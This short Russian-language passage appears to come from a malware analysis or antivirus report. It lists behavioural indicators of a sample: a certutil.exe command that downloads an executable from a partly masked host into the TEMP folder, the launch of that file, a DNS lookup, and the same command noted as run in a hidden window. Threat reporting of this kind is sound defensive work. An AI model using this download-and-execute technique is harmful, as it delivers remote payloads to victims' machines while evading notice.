Техническая информация
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://re########-com.preview-domain.com/reg47181822.exe %TEMP%\hustoypc134i.exe
- %TEMP%\hustoypc134i.exe
- http://re########-com.preview-domain.com/reg47181822.exe
- DNS ASK re########-com.preview-domain.com
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://re########-com.preview-domain.com/reg47181822.exe %TEMP%\hustoypc134i.exe' (со скрытым окном)